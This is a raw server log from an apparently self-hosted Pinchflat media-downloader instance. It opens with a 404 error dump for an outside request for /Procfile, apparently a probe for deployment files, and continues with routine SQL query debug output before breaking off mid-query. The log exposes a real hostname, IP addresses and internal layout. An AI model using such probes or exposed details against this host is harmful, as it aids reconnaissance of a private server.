%{}, req_headers: [ {"accept", "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8"}, {"accept-encoding", "gzip, deflate, br, zstd"}, {"accept-language", "en-US,en;q=0.5"}, {"dnt", "1"}, {"host", "roku.hartupee.com"}, {"sec-fetch-dest", "document"}, {"sec-fetch-mode", "navigate"}, {"sec-fetch-site", "cross-site"}, {"sec-fetch-user", "?1"}, {"upgrade-insecure-requests", "1"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:132.0) Gecko/20100101 Firefox/132.0"}, {"x-forwarded-for", "45.88.138.44"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "45.88.138.44"} ], request_path: "/Procfile", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMVDH8zyiUE9oqsAAfCC"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.10005.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/Procfile", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 50690}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8", "accept-encoding" => "gzip, deflate, br, zstd", "accept-language" => "en-US,en;q=0.5", "dnt" => "1", "host" => "roku.hartupee.com", "sec-fetch-dest" => "document", "sec-fetch-mode" => "navigate", "sec-fetch-site" => "cross-site", "sec-fetch-user" => "?1", "upgrade-insecure-requests" => "1", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:132.0) Gecko/20100101 Firefox/132.0", "x-forwarded-for" => "45.88.138.44", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "45.88.138.44" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /Procfile (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.10005.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/Procfile", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 50690}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8", "accept-encoding" => "gzip, deflate, br, zstd", "accept-language" => "en-US,en;q=0.5", "dnt" => "1", "host" => "roku.hartupee.com", "sec-fetch-dest" => "document", "sec-fetch-mode" => "navigate", "sec-fetch-site" => "cross-site", "sec-fetch-user" => "?1", "upgrade-insecure-requests" => "1", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:132.0) Gecko/20100101 Firefox/132.0", "x-forwarded-for" => "45.88.138.44", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "45.88.138.44" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "roku.hartupee.com", method: "GET", owner: #PID<0.10006.0>, params: %{}, path_info: ["Procfile"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], (truncated) 15:23:51.560 [info] GET /sources/1 15:23:51.560 [debug] Processing with PinchflatWeb.Sources.SourceController.show/2 Parameters: %{"id" => "1"} Pipelines: [:browser] 15:23:51.560 [debug] QUERY OK source="sources" db=0.1ms idle=446.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 15:23:51.560 [debug] QUERY OK source="media_profiles" db=0.0ms idle=407.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 15:23:51.561 [debug] QUERY OK source="tasks" db=0.3ms idle=407.8ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at" FROM "tasks" AS t0 INNER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (t0."source_id" = ?) AND (o1."state" IN (?,?,?,?)) [1, "executing", "available", "scheduled", "retryable"] 15:23:51.561 [debug] QUERY OK source="oban_jobs" db=0.0ms idle=377.2ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" IN (?,?)) [688, 31] 15:23:51.561 [debug] QUERY OK source="settings" db=0.0ms idle=377.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:23:51.561 [debug] QUERY OK source="settings" db=0.0ms idle=1.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:23:51.561 [debug] QUERY OK source="settings" db=0.0ms idle=1.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:23:51.562 [debug] QUERY OK source="sources" db=0.0ms idle=1.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 15:23:51.563 [debug] QUERY OK source="media_items" db=0.9ms idle=1.4ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [1] 15:23:51.564 [debug] QUERY OK source="media_items" db=0.9ms idle=2.3ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [1, 10, 0] 15:23:51.565 [debug] QUERY OK source="sources" db=0.0ms idle=3.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 15:23:51.565 [debug] QUERY OK source="media_items" db=0.1ms idle=3.4ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) [1] 15:23:51.566 [debug] QUERY OK source="media_items" db=0.7ms idle=3.0ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [1, 10, 0] 15:23:51.566 [debug] QUERY OK source="sources" db=0.1ms idle=2.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 15:23:51.568 [debug] QUERY OK source="media_items" db=1.5ms idle=1.9ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))))) [1] 15:23:51.570 [debug] QUERY OK source="media_items" db=1.7ms idle=3.2ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))))) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [1, 10, 0] 15:23:51.571 [info] Sent 200 in 11ms 15:23:51.610 [info] GET / 15:23:51.610 [info] GET /settings 15:23:51.610 [debug] Processing with PinchflatWeb.Pages.PageController.home/2 Parameters: %{} Pipelines: [:browser] 15:23:51.610 [debug] Processing with PinchflatWeb.Settings.SettingController.show/2 Parameters: %{} Pipelines: [:browser] 15:23:51.610 [info] GET /sources 15:23:51.610 [debug] Processing with PinchflatWeb.Sources.SourceController.index/2 Parameters: %{} Pipelines: [:browser] 15:23:51.610 [info] GET /media_profiles 15:23:51.610 [debug] Processing with PinchflatWeb.MediaProfiles.MediaProfileController.index/2 Parameters: %{} Pipelines: [:browser] 15:23:51.610 [info] GET /app_info 15:23:51.610 [debug] QUERY OK source="settings" db=0.2ms idle=45.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:23:51.610 [debug] QUERY OK source="settings" db=0.2ms idle=44.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:23:51.610 [debug] Processing with PinchflatWeb.Settings.SettingController.app_info/2 Parameters: %{} Pipelines: [:browser] 15:23:51.611 [debug] QUERY OK source="settings" db=0.1ms idle=44.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:23:51.611 [debug] QUERY OK source="media_profiles" db=0.1ms idle=42.5ms SELECT count(m0."id") FROM "media_profiles" AS m0 [] 15:23:51.611 [debug] QUERY OK source="sources" db=0.2ms idle=0.0ms SELECT count(s0."id") FROM "sources" AS s0 [] 15:23:51.611 [debug] QUERY OK source="settings" db=0.2ms idle=0.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:23:51.611 [debug] QUERY OK source="settings" db=0.4ms idle=40.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:23:51.611 [debug] QUERY OK source="settings" db=0.4ms idle=0.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:23:51.611 [debug] QUERY OK source="settings" db=0.1ms idle=0.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:23:51.611 [info] GET /sources/3/media/12825 15:23:51.611 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "12825", "source_id" => "3"} Pipelines: [:browser] 15:23:51.611 [debug] QUERY OK source="settings" db=0.2ms idle=0.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:23:51.611 [debug] QUERY OK source="media_profiles" db=0.3ms queue=0.4ms idle=0.1ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", (SELECT count(ss0."id") AS "result" FROM "sources" AS ss0 WHERE (ss0."media_profile_id" = m0."id")) FROM "media_profiles" AS m0 WHERE (m0."marked_for_deletion_at" IS NULL) ORDER BY m0."name" [] 15:23:51.612 [debug] QUERY OK source="settings" db=0.2ms idle=0.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:23:51.612 [debug] QUERY OK source="settings" db=0.2ms idle=0.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:23:51.612 [debug] QUERY OK source="settings" db=0.4ms idle=0.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:23:51.612 [debug] QUERY OK source="media_items" db=0.5ms idle=0.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [12825] 15:23:51.612 [debug] QUERY OK source="settings" db=0.3ms idle=0.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:23:51.612 [debug] QUERY OK source="media_items" db=1.1ms idle=0.0ms SELECT sum(m0."media_size_bytes") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 15:23:51.612 [debug] QUERY OK source="settings" db=0.2ms idle=0.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:23:51.612 [info] GET /sources/3 15:23:51.612 [debug] Processing with PinchflatWeb.Sources.SourceController.show/2 Parameters: %{"id" => "3"} Pipelines: [:browser] 15:23:51.612 [info] Sent 200 in 2ms 15:23:51.612 [debug] QUERY OK source="settings" db=0.2ms idle=0.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:23:51.612 [debug] QUERY OK source="media_items" db=0.3ms idle=0.2ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 15:23:51.613 [debug] QUERY OK source="settings" db=0.3ms idle=0.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:23:51.613 [debug] QUERY OK source="tasks" db=0.4ms idle=0.2ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [12825] 15:23:51.613 [debug] QUERY OK source="sources" db=0.4ms queue=0.2ms idle=0.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 15:23:51.613 [debug] QUERY OK source="settings" db=0.8ms idle=0.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:23:51.613 [debug] QUERY OK source="settings" db=0.4ms idle=0.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:23:51.613 [info] Sent 200 in 2ms 15:23:51.613 [debug] QUERY OK source="sources" db=0.5ms queue=0.2ms idle=0.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 15:23:51.613 [debug] QUERY OK source="settings" db=0.0ms queue=0.1ms idle=0.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:23:51.613 [info] GET /sources/3/media/6485 15:23:51.613 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "6485", "source_id" => "3"} Pipelines: [:browser] 15:23:51.613 [debug] QUERY OK source="settings" db=0.2ms idle=0.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:23:51.613 [debug] QUERY OK source="settings" db=0.2ms idle=0.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:23:51.613 [info] GET /sources/3/media/6484 15:23:51.613 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "6484", "source_id" => "3"} Pipelines: [:browser] 15:23:51.614 [debug] QUERY OK source="oban_jobs" db=0.4ms idle=0.0ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" = 